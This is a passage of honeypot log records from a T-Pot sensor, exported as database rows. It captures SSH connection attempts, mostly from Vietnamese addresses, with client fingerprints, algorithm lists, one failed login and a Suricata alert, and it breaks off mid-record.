24533	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:54.936849+03	2021-09-20 14:15:08.921471+03	{"_id": "VwblAnwBvYTbRNuEAhTA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55160, "dest_port": 22, "timestamp": "2021-09-20T11:08:54.936849", "@timestamp": "2021-09-20T11:08:54.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24534	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:57.377136+03	2021-09-20 14:15:08.9225+03	{"_id": "iAblAnwBvYTbRNuEDhR3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58592, "timestamp": "2021-09-20T11:08:57.377136", "@timestamp": "2021-09-20T11:08:57.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24535	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:57.028869+03	2021-09-20 14:15:08.923501+03	{"_id": "hwblAnwBvYTbRNuEDhR3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33270, "dest_port": 22, "timestamp": "2021-09-20T11:08:57.028869", "@timestamp": "2021-09-20T11:08:57.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24536	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:57.697883+03	2021-09-20 14:15:08.9255+03	{"_id": "iQblAnwBvYTbRNuEDxQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:37296 (192.168.176.2:22) [session: 893263172587]", "session": "893263172587", "@version": "1", "protocol": "ssh", "src_port": 37296, "dest_port": 22, "timestamp": "2021-09-20T11:08:57.697883Z", "@timestamp": "2021-09-20T11:08:57.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24537	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:57.863437+03	2021-09-20 14:15:08.9265+03	{"_id": "igblAnwBvYTbRNuEDxQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:57684 (192.168.176.2:22) [session: f235c3580598]", "session": "f235c3580598", "@version": "1", "protocol": "ssh", "src_port": 57684, "dest_port": 22, "timestamp": "2021-09-20T11:08:57.863437Z", "@timestamp": "2021-09-20T11:08:57.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24538	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:57.417761+03	2021-09-20 14:15:08.92747+03	{"_id": "oAblAnwBvYTbRNuEDxQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3cf3d77ca70c", "@version": "1", "duration": 2.7572081089019775, "timestamp": "2021-09-20T11:08:57.417761Z", "@timestamp": "2021-09-20T11:08:57.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24539	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:57.866733+03	2021-09-20 14:15:08.928501+03	{"_id": "oQblAnwBvYTbRNuEDxQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f235c3580598", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:57.866733Z", "@timestamp": "2021-09-20T11:08:57.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24540	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:58.117454+03	2021-09-20 14:15:08.9305+03	{"_id": "ogblAnwBvYTbRNuEDxQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "893263172587", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:58.117454Z", "@timestamp": "2021-09-20T11:08:58.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24541	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:58.16621+03	2021-09-20 14:15:08.93147+03	{"_id": "owblAnwBvYTbRNuEDxQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f235c3580598", "@version": "1", "timestamp": "2021-09-20T11:08:58.166210Z", "@timestamp": "2021-09-20T11:08:58.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24542	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:58.223608+03	2021-09-20 14:15:08.9325+03	{"_id": "pAblAnwBvYTbRNuEDxQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [mikep/mikep] failed", "session": "5c93443003b2", "@version": "1", "password": "mikep", "username": "mikep", "timestamp": "2021-09-20T11:08:58.223608Z", "@timestamp": "2021-09-20T11:08:58.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24543	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:58.116569+03	2021-09-20 14:15:08.9335+03	{"_id": "pQblAnwBvYTbRNuEERRs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 6019057538017, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37296, "dest_port": 22, "timestamp": "2021-09-20T11:08:58.116569Z", "@timestamp": "2021-09-20T11:08:58.116Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24544	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:08:59.008122+03	2021-09-20 14:15:08.935469+03	{"_id": "qAblAnwBvYTbRNuEERRs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:59.008122+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "116.105.211.46", "flow_id": 527209044058042, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 58974, "timestamp": "2021-09-20T11:08:59.008122Z", "@timestamp": "2021-09-20T11:08:59.008Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24545	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:08:58.433941+03	2021-09-20 14:15:08.9365+03	{"_id": "sQblAnwBvYTbRNuEEhRi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 